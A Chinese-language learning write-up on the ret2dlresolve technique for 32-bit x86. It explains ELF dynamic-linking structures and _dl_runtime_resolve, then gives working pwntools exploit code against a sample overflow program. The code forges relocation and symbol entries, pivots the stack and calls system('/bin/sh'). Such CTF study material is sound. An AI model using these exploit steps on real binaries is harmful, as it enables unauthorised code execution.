ret2dlresolve-x86 学习记录
字数 1263 2025-08-23 18:31:25
ret2dlresolve攻击技术详解(x86架构)
0x0 前置知识
ELF文件关键数据结构
1. ELF Symbol Table (.dynsym)
typedef struct {
Elf32_Word st_name; // 符号名在.dynstr中的偏移
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; // 对于导入函数符号为0x12
unsigned char st_other;
Elf32_Section st_shndx;
} Elf32_Sym; // 每个结构体16字节
2. ELF String Table (.dynstr)
动态链接字符串表,第一个字节为0,包含动态链接所需的字符串(如导入函数名),以\x00结尾。
3. ELF REL Relocation Table (.rel.plt)
typedef struct {
Elf32_Addr r_offset; // GOT表地址
Elf32_Word r_info; // 在dynsym表中的偏移
} Elf32_Rel; // 每个结构体8字节
4. .dynamic段
typedef struct {
Elf32_Sword d_tag; // Dynamic entry type
union {
Elf32_Word d_val; // Integer value
Elf32_Addr d_ptr; // Address value
} d_un;
} Elf32_Dyn;
.dynamic段保存动态链接器需要的基本信息,包括:
- 依赖的共享对象
- 动态链接符号表(.dynsym)位置
- 动态链接重定位表(.rel.plt)位置
- 动态链接字符串表(.dynstr)位置
0x1 核心机制:_dl_runtime_resolve
函数原型:_dl_runtime_resolve(link_map_obj, reloc_arg)
工作流程:
- 通过link_map_obj访问.dynamic表,获取.dynstr、.dynsym、.rel.plt三表的首地址
reloc_arg + .rel.plt首地址得到目标函数的ELF32_REL指针(rel)rel->r_info >> 8作为.dynsym表中的下标,得到ELF32_Sym指针(sym).dynstr首地址 + sym->st_name得到函数名字符串指针- 在动态链接库中查找函数地址并写入GOT表
- 调用该函数
x86架构特点:
reloc_arg即reloc_offset,表示重定位项距离.rel.plt起始位置的偏移- 目标函数重定位项地址 = JMPREL + reloc_offset
0x2 漏洞原理
攻击点:
_dl_runtime_resolve不检查符号是否越界- 解析过程完全依赖攻击者控制的数据
- 可以通过伪造以下内容实现攻击:
- 控制reloc_arg参数指向攻击者控制区域
- 伪造重定位表项
- 伪造符号内容
- 伪造函数名字符串
0x3 利用条件
- 题目未给出libc库
- 程序未开启PIE保护(若开启需泄露基地址)
- 程序未开启FULL RELRO
0x4 利用步骤详解
示例程序分析
#include <stdio.h>
#include <unistd.h>
int init() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
setvbuf(stderr, 0, 1, 0);
return alarm(60);
}
int vuln() {
char v1[40];
return read(0, v1, 0x100);
}
int main() {
init();
vuln();
return 0;
}
检查保护:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
利用过程
-
获取关键段地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr dynsym = elf.get_section_by_name('.dynsym').header.sh_addr dynstr = elf.get_section_by_name('.dynstr').header.sh_addr -
构造伪造的ELF32_Sym结构体
Elf32_Sym_sys_addr = writable_addr + 32 align = 0x10 - ((Elf32_Sym_sys_addr - dynsym) & 0xf) Elf32_Sym_sys_addr += align st_name = Elf32_Sym_sys_addr + 0x10 - dynstr Elf32_Sym_sys = p32(st_name) + p32(0) + p32(0) + p32(12) -
构造伪造的ELF32_Rel结构体
r_offset = read_got r_index = (Elf32_Sym_sys_addr - dynsym) / 0x10 r_info = int(r_index) << 8 | 0x7 reloc_index = writable_addr - rel_plt + 24 Elf32_rel_plt_sys = p32(r_offset) + p32(r_info) -
分阶段payload构造
-
第一次read:准备第二次read
payload1 = 0x2c * b'a' payload1 += p32(read_plt) payload1 += p32(0x0804852D) # vuln函数地址 payload1 += p32(0) payload1 += p32(writable_addr) payload1 += p32(100) -
第二次read:写入伪造的ROP链
payload2 = p32(plt0) payload2 += p32(reloc_index) payload2 += p32(0xdeadbeef) # 返回地址 payload2 += p32(writable_addr + 80) # '/bin/sh\x00' addr payload2 += p32(0) payload2 += p32(0) payload2 += Elf32_rel_plt_sys payload2 += align * b'a' payload2 += Elf32_Sym_sys payload2 += b'system\x00' payload2 += (80 - len(payload2)) * b'a' payload2 += b'/bin/sh\x00' -
第三次read:栈迁移
payload3 = 0x28 * b'a' payload3 += p32(writable_addr - 4) # ebp payload3 += p32(leave_ret) # eip
-
0x5 关键点总结
- 对齐要求:伪造的dynsym结构体地址必须相对于dynsym首地址16字节对齐
- 结构体布局顺序:按照_dl_runtime_resolve解析顺序布置 - rel → sym → str
- 控制流劫持:通过栈迁移将控制流转移到伪造的ROP链
- 参数传递:确保system函数的参数正确布置在栈上